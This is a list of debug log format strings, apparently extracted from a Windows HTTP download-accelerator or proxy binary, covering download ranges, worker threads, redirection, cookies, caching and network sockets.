[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

